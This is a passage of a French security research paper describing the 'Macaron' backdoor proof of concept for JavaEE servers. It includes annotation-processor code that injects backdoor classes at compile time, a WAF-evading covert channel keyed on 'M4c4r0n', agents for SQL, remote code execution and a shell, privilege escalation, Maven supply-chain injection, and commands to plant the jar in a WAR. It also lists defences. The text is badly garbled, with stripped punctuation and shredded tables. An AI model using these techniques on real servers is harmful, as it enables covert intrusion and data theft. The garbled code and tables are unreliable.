lors de la compilation drsquoun code java A partir de la version 6 de la JVM sur lapresence drsquoune annotation un code java prend la main lors de la compilation pourgenerer drsquoautres classes ou des fichiers de ressources Pour que cela fonctionne il fautposseder une archive dans le CLASSPATH lors de la compilation Cette derniere doitpresenter le service javaxannotationprocessingProcessor comme indique auchapitre laquo Injections lors de la compilation raquo
Avec cette approche il est possible drsquointervenir sur le code final de lrsquoapplicationmeme avec une archives presente uniquement pour les tests unitaires
Lrsquoajout ou la modification de classe est possible Il est donc envisageable drsquointer-venir sur une classe compilee pour modifier son comportement soit en injectant ducode directement dans la classe soit en replacant tout simplement le fichier class
SupportedAnnotationTypes()
SupportedSourceVersion(SourceVersionRELEASE_6)
public class Processor extends AbstractProcessor
private static boolean onetime=false
public boolean process(
Set lt extends TypeElement gt annotations
RoundEnvironment rndEnv)
Filer filer = processingEnvgetFiler ()
Messager messager = processingEnvgetMessager ()
Elements eltUtils =
processingEnvgetElementUtils ()
if ( rndEnvprocessingOver () ampamp onetime)
onetime=true
try
final String filterClass=
Filter3classgetName ()
5 httptinyurlcomc9dzao
408 Porte derobee dans les serveurs drsquoapplications JavaEE
JavaFileObject jfo=
filercreateClassFile(filterClass)
InputStream in=
FilterclassgetClassLoader ()
getResourceAsStream(
filterClassreplaceAll()+class)
OutputStream out=jfoopenOutputStream ()
final byte[] tampon=new byte [4096]
int len
while ((len = inread(tampon)) gt 0)
outwrite(tampon 0 len)
outclose()
inclose ()
catch (Throwable x)
Ignore
return true
Drsquoautres pistes sont possibles comme la copie de lrsquoarchive de la porte derobe lorsde la compilation a partir drsquoune version presente uniquement pour les tests unitaires
Lors drsquoune compilation par Maven ou Ant par exemple le processeur est invoquepour compiler les classes du projet et les classes des tests unitaires Le processeurpeut alors entrer en action pour intervenir sur le repertoire target avant la creationde lrsquoarchive du projet
Cette attaque peut etre exploitee pour toutes applications Java et permettredrsquoinjecter une porte derobe dans une carte a puce
Pour interdire cela il faut ajouter le parametre -proc none lors de la compilation
Drsquoautres approches Dans certaines conditions particulieres drsquoautres approchessont possibles comme la modification a chaud drsquoune classe via lrsquoapi JPDA (JavaPlatform Debugger Architecture) Il faut pour cela beneficier de lrsquoarchive toolsjar duJDK et que la JVM soit lancee en mode debug via le reseau
25 Detection de lrsquoouverture de la porte
Le code de la porte derobee etant execute a chaque requete HTTP a lrsquoaide drsquouneValve Tomcat drsquoun filtre JavaEE drsquoune injection AOP drsquoun Auto-Proxy ou drsquouninterceptor Spring il est possible drsquoanalyser tous les champs des formulaires Surla presence drsquoune clef dans un champ quelconque drsquoun formulaire la porte derobeedetourne le traitement
P Prados 409
Nous proposons un code de demonstration de ces attaques Il srsquoagit de placer unesimple archive dans le repertoire WEB-INFlib Il faut ensuite utiliser le mot Macaronen ecriture Leet6 (laquo M4c4r0n raquo) dans nrsquoimporte quel champ de lrsquoapplication pourlrsquoexecuter
26 Communication discrete
Ce chapitre decrit la couche de communication mise en place par la demonstrationVous pouvez sauter directement vers le chapitre laquo Demonstration raquo
Maintenant que le flux est detourne il faut faire preuve de discretion pourcommuniquer avec la porte derobee Le code ne doit pas etre detecte par les pare-feureseaux ni par les pare-feu applicatifs (WAF)
Les pare-feu applicatifs detectent ndash Les URLs utilisees via une liste blanche ndash La liste des champs pour chaque URLs et les contraintes de format (chiffrelettre
taille etc) ndash La vitesse des requetes (plus de 120 requetes par minutes ou plus de 360 requetes
en cinq minutes) ndash La taille limite des reponses (512Ko) ndash La presence de mots clefs specifiques dans les pages de reponses (liste noire)La porte derobee doit contourner toutes ces verifications Pour cela le filtre utilise
une URL standard de lrsquoapplication celle utilisee pour inserer la clef La requetedrsquoouverture est conforme aux contraintes si le champ choisi pour utiliser la clefaccepte des caracteres et des chiffres
La communication srsquoeffectue en remplissant un formulaire avec une valeur specialerespectant les contraintes du champ (type de caractere et taille du champ)
Les agents de la porte derobee nrsquoutilisent alors que cette URL en soumettanttoujours le meme formulaire avec les memes valeurs sauf pour un seul champ quisert de transport Ce dernier ne doit pas violer les contraintes du champ
La figure 6 indique le cheminement de la communicationLors de la soumission drsquoun formulaire le traitement est detourne vers la porte
derobee Une page specifique est renvoyee Cette derniere communique avec le code dela porte derobee a lrsquoaide de requetes AJAX afin drsquoinjecter dans la page les resultatsdes traitements au format XML
Une ecoute des trames reseau lors drsquoune communication avec la porte derobee faitapparaıtre des soumissions regulieres drsquoun formulaire dont un seul champ evolue Sila requete est de type POST il est peu probable que cela soit enregistre dans les logs
6 httpfrwikipediaorgwikiLeet_speak
410 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 6 Communication de la porte derobee
Toutes les manipulations de la porte derobee utilisent des trames portees par unchamp de formulaire HTML Une taille limite nrsquoest jamais depassee pour ce dernier
La grammaire des trames est la suivante
ltM4c4r0n gtlta|bgtltdata gt
Elle est precisee ci-dessousComme les trames ne doivent depasser une certaine taille le caractere apres la
clef laquo M4c4r0n raquo indique si la trame est terminee (a) ou si elle doit etre completeepar drsquoautres trames (b)
Les caracteres suivants servent de charge utile a la trame Le contenu est au formatASCII en b64 ou hexadecimal suivant le parametrage de la porte derobee
La charge utile des trames est alors analysee comme une commande a executerDes pages HTML specifiques sont retournees Elles utilisent la technologie AJAX pourcommuniquer Les pages sont autonomes Elles integrent les feuilles de styles et lesscripts mais evitent les images (sauf au format data ) afin de reduire le nombre derequetes HTTP Une seule requete drsquoouverture de la porte derobee permet drsquoobtenirun agent fonctionnel Les pare-feu applicatifs ne verifient generalement pas le formatdes pages en retour
Le flux drsquoemission AJAX est ralenti en termes de trafic reseau pour ne pas eveillerles soupcons
P Prados 411
Une requete specifique conf permet drsquoindiquer le format drsquoencodage et la taillemaximum drsquoune trame a ne pas depasser Elle a le format suivant
ndashndash La clef en lrsquooccurrence laquo M4c4r0n raquo ndash Le caractere de fin de trame (laquo b raquo) ndash Le mot clef de la commande laquo conf raquo ndash Un caractere indiquant si lrsquoencodage doit etre hexadecimal ou base64 (laquo h raquo ou
laquo b raquo) ndash Un nombre indiquant la taille maximum des trames ndash Le caractere laquo W raquo comme separateur ndash Un nombre indiquant en second la frequence drsquoemission des trames
Par exemple pour demander lrsquoinitialisation de la porte derobee en utilisantlrsquoencodage hexadecimal une taille maximal des trames de 30 caracteres et un poolde 3 secondes il faut valoriser un champ de formulaire texte drsquoune vingtaine decaracteres comme le montre la figure 7
Fig 7 Configuration
Cela ouvre la porte tout en parametrant les communications futures Par defautlrsquoencodage est en base64 les trames ne depassent pas 80 caracteres et le pool est dedeux secondes Il est donc recommande de choisir un champ suffisamment grand pourrecevoir tous ces caracteres
27 Le scenario drsquoexecution
Le scenario drsquoexecution de la porte derobee est le suivant
ndash Etape 1 Declenchement du piegendash Etape 1bis Si necessaire augmentation des privileges en utilisant une tech-
nologie drsquoexecution implicite Puis attente drsquoun redemarrage du serveur drsquoappli-cation
ndash Etape 2 Injection drsquoun filtre sur toutes les requetes HTTP ndash Etape 3 Analyse de toutes les requetes pour detourner le flux de traitement
des requetes lors de la presentation de la clef
412 Porte derobee dans les serveurs drsquoapplications JavaEE
28 Les agents
Differents agents sont proposes par la porte derobee
ndashndash Un agent memorisant les dernieres requetes sur le serveur ndash Un agent JMX pour manipuler le serveur drsquoapplication ndash Un agent JNDI pour consulter lrsquoannuaire de la configuration ndash Un agent SQL pour manipuler la base de donnees ndash Un agent Javajavascript pour compiler et executer dynamiquement du code ndash Un agent Shell pour srsquoamuser
Fig 8 History
Agent History Cet agent permet de memoriser les dernieres requetes avec leursparametres quelque soit lrsquoutilisateur Il peut permettre de decouvrir des informationsconfidentielles soumises par drsquoautres utilisateurs
Agent JNDI Cet agent permet de naviguer dans lrsquoarbre JNDI lrsquoannuaire des objetsdes applications JavaEE Les ordres possibles sont
cd ltjndi_name gt
ls
dump ltjndi -name gt
P Prados 413
Fig 9 JNDI
La commande dump permet si possible de serialiser lrsquoobjet et drsquoafficher une vuehexadecimale du resultat Cela permet parfois de trouver des mots de passes
Agent JMX Cet agent permet de naviguer dans lrsquoarbre JMX lrsquoarbre de gestion desobjets du serveur Les ordres permettent de consulter ou de modifier les attributset drsquoinvoquer des traitements Lrsquoergonomie proposee ressemble a un shell avec unesyntaxe specifique Les ordres possibles sont
cd ltJMX name gt
ls
ltattr gt=ltvaleur gt
method(ltparams gt)
Agent JDBC Cet agent utilise la connexion a la base de donnees declaree dans lefichier webxml ou specifiee en ligne de commande Il permet drsquoinvoquer toutes lesrequetes SQLs autorisees par la connexion Si elles commencent par select lrsquoagentaffiche un tableau avec le resultat Sinon il execute le traitement et retourne un statut
La commande jndi ltkeygt permet drsquoutiliser une autre clef JNDI pour acceder ala base de donnees
Tous les privileges accordes a lrsquoapplication sont disponibles Il ne faut pas longtempsensuite pour les augmenter et attaquer le serveur de la base de donnees Les publica-tions sur les SQLs injections peuvent etre une source drsquoinspiration
414 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 10 JMX
Fig 11 JDBC
P Prados 415
Fig 12 JavaJavascript
Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur
Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur
Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest
pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur
Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK
Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur
Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI
416 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 13 Shell
Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles
3 Demonstration
Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution
Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire
Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire
Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee
Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee
P Prados 417
Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement
Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage
Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications
Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges
Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour
augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves
ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE
Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela
31 Execution
Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent
La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant
Chaque agent utilise un protocole qui lui est propre
32 Executer la demonstration
Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication
Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar
418 Porte derobee dans les serveurs drsquoapplications JavaEE
ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample
war
ndash httpwwwspringsourceorgdownload
Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console
$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar
$ mkdir -p WEB -INFlib
$ mv macaron -backdoor jar WEB -INFlib
$ jar -uf samplewar WEB -INF
$ cp samplewar $CATALINA_HOMEwebapps
Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication
export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-
actions
Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant
grant
Pour Macaron Backdoor
permission javautilPropertyPermission macaron -backdoorread
permission javalangRuntimePermission createClassLoader
permission javalangRuntimePermission getProtectionDomain
Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique
Puis lancez Tomcat
$ $CATALINA_HOMEbincatalinash run -security
Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n
33 Diffusion du code
La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact
P Prados 419
La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques
Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites
La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication
Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production
4 Propagation
Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne
Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource
Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine
Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier
Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement
En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle
7 httpmavenapacheorg
420 Porte derobee dans les serveurs drsquoapplications JavaEE
dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole
Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela
Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut
ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en
attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee
ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1
Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet
Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace
Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9
La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable
5 Les solutions
Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif
Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications
8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security
10 httpantapacheorgivy
P Prados 421
hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)
Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet
grant codeBase file$catalinabase webappsMonProjetWEB -INFlib
permission javalangRuntimePermission
createClassLoader
Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges
Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees
Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques
En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre
grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar
permission javalangRuntimePermission
createClassLoader
Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire
422 Porte derobee dans les serveurs drsquoapplications JavaEE
Le
table
ausu
ivan
tid
enti
fie
les
diff
eren
tspie
ges
pre
sents
dan
slrsquoar
chiv
ede
dem
onst
rati
on
Pie
ges
Locali
sati
on
Desc
rip
tion
s
Res
ou
rces
Bu
nd
les
Exceptionsclass
formatclass
i18nclass
LocalStringsclass
messageclass
messagesclass
viewsclass
windowsclass
javaxservletLocalStringsclass
orgapachecatalinastoreconfigLocalStringsclass
orgapachexercesimplmsgDOMMessagesclass
orgapachexmlresXMLErrorResourcesclass
orghibernatevalidatorresourcesDefaultValidatorMessagesclass
Pu
blica
tion
de
class
esp
ou
rsi
mu
ler
un
fich
ier
properties
Ser
vic
essp
ecifi
cati
on
sJA
RMETA
INFservicesjavaxxmlparsersDocumentBuilderFactory
META
INFservicesjavaxxmlparsersSAXParserFactory
Pu
blica
tion
de
lrsquoim
ple
men
tati
on
de
nou
vea
ux
serv
ices
pu
isd
eleg
ati
on
du
trait
emen
ta
lrsquoim
ple
men
tati
on
stan
-d
ard
Pro
gra
mm
ati
on
par
asp
ect
META
INFaopxml
Dec
lara
tion
gen
eriq
ue
de
regle
sd
rsquoin
ject
ion
s
Le
tab
leau
suiv
ant
ind
iqu
ele
sd
iffer
ente
ste
chn
iqu
esdrsquoi
nje
ctio
ns
dan
sle
flu
xd
etr
ait
emen
td
esre
qu
etes
HT
TP
etle
sp
rivil
eges
nec
essa
ires
P Prados 423In
jecti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Pro
tect
ion
de
lap
ort
ed
erobee
contr
ela
de-
com
pilati
on
javautilPropertyPermission
macaron-backdoorread
javalangRuntimePermission
createClassLoader
javalangRuntimePermission
getProtectionDomain
Pou
rev
iter
lad
e-co
mp
ilati
on
le
cod
ees
tp
rote
ge
Ce
pri
vil
ege
nrsquoe
stp
as
nec
essa
ire
enco
nd
itio
nn
orm
ale
etp
eut
etre
ign
ore
lors
des
test
sIl
nrsquoe
stp
as
dis
crim
inant
pou
rdem
ontr
erqu
rsquoun
eatt
aqu
en
ep
eut
avoir
lieu
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
La
port
ed
erobee
con
stru
itu
ne
Valv
eet
lrsquoin
-je
cte
dan
sT
om
cat
alrsquoaid
ed
rsquoun
ere
qu
ete
Mb
ean
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
5x
siltContext
privileged=truegt
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Si
lep
rivil
ege
est
dis
pon
ible
dan
scontextxml
etu
tilisa
tion
de
Tom
cat
5x
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
6x
javalangRuntimePermission
defineClassInPackageorgapachecatalinavalves
javalangRuntimePermission
defineClassInPackageorgapachecatalina
javalangRuntimePermission
defineClassInPackageorgapachecatalinaconnector
Si
uti
lisa
tion
de
Tom
cat
6x
Inje
ctio
nd
eV
alv
ed
an
sJB
oss
avec
Tom
cat
5x
siltContext
privileged=truegt
javaxmanagementMBeanServerPermission
findMBeanServer
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
getClassLoader
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Sile
pri
vil
ege
est
dis
pon
ible
dan
scontextxml
lap
ort
ed
erob
eeco
nst
ruit
un
eV
alv
eet
lrsquoin
ject
ed
an
sJB
oss
alrsquoaid
ed
rsquoun
ere
quet
eM
bea
n
424 Porte derobee dans les serveurs drsquoapplications JavaEE
Inje
cti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Au
gm
enta
tion
de
pri
vil
eges
sou
sT
om
cat
javaioFilePermission
$catalinahomelibwrite
javaioFilePermission
$catalinahomelibread
(Optional)
javautilPropertyPermission
catalinahomeread(Optional)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Au
gm
enta
tion
de
pri
vil
eges
sou
sJB
oss
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerwrite
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerread
(Optionel)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Inje
ctio
nd
efi
ltre
JavaE
Ed
an
swebxml
sou
sT
om
cat
javaioFilePermission
$catalinabasewebapps$warWEB
INFwebxml
write
Cet
teatt
aqu
eco
nsi
ste
ain
ject
eru
nfi
ltre
JE
Ed
an
sla
ver
sion
enca
che
de
Tom
cat
du
fich
ier
webxmlA
up
roch
ain
red
emarr
age
lefi
ltre
est
act
if
Inje
ctio
nS
pri
ng
Au
cun
Inje
ctio
nd
eltbeangt
dan
sle
sfi
chie
rsd
ep
ara
met
rage
de
Sp
rin
gp
ou
rca
ptu
rer
tou
sle
sre
qu
etes
au
fram
ework
MV
C
Pro
gra
mm
ati
on
par
asp
ect
Au
cun
Inje
ctio
nd
etr
ait
emen
tp
ou
rle
sse
rvle
tset
JS
P
Vou
sp
ou
vez
con
state
rqu
ed
eux
att
aqu
esn
en
eces
site
nt
au
cun
pri
vil
ege
Le
tab
leau
suiv
ant
rep
ren
dle
sp
rivil
eges
nec
essa
ires
au
xd
iffer
ents
agen
tsp
rop
ose
sC
esp
rivileg
esn
eso
nt
pas
nec
essa
ires
au
ne
att
aqu
eci
ble
e
P Prados 425A
gents
Priv
ileges
min
imu
ms
necess
air
es
Desc
rip
tion
s
Agen
tH
isto
riqu
eA
ucu
np
rivil
ege
part
icu
lier
A
gen
tm
emori
sant
les
der
nie
res
requ
etes
HT
TP
Agen
tJN
DI
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tm
an
ipu
lant
lrsquoan
nu
air
eJN
DI
Agen
tJM
XjavaxmanagementMBeanPermission
getDomainsgetMBeanInfogetAttribute
Agen
tco
nsu
ltant
les
JM
X
Agen
tJD
BC
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
de
man
ipu
ler
lab
ase
de
don
nee
s
Agen
tJava
avec
lan
gage
Javasc
rip
tA
ucu
np
rivil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
lrsquoex
ecu
tion
de
cod
eJavasc
rip
t
Agen
tJava
avec
lan
gage
Java
javalangRuntimePermission
createClassLoader
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
Agen
tp
erm
etta
nt
laco
mp
ilati
on
de
cod
eJava
alrsquoaid
ed
rsquoAJP
le
com
pilate
ur
de
JS
P
Exte
nsi
on
agen
tJava
pou
rT
om
cat
javaioFilePermission
$catalinahomecommonlibread
javaioFilePermission
$catalinahomecommonendorsedread
javaioFilePermission
$catalinahomecommonendorsedread
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
du
cod
eso
us
Tom
cat
Exte
nsi
on
agen
tJava
pou
ru
ne
com
pilati
on
via
toolsjar
javautilPropertyPermission
javaiotmpdirread
javautilPropertyPermission
javaclasspathread
javautilPropertyPermission
javaendorseddirsread
javautilPropertyPermission
javaextdirsread
javautilPropertyPermission
sunbootclasspathread
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
avec
tools
jar
siA
JP
nrsquoe
stp
as
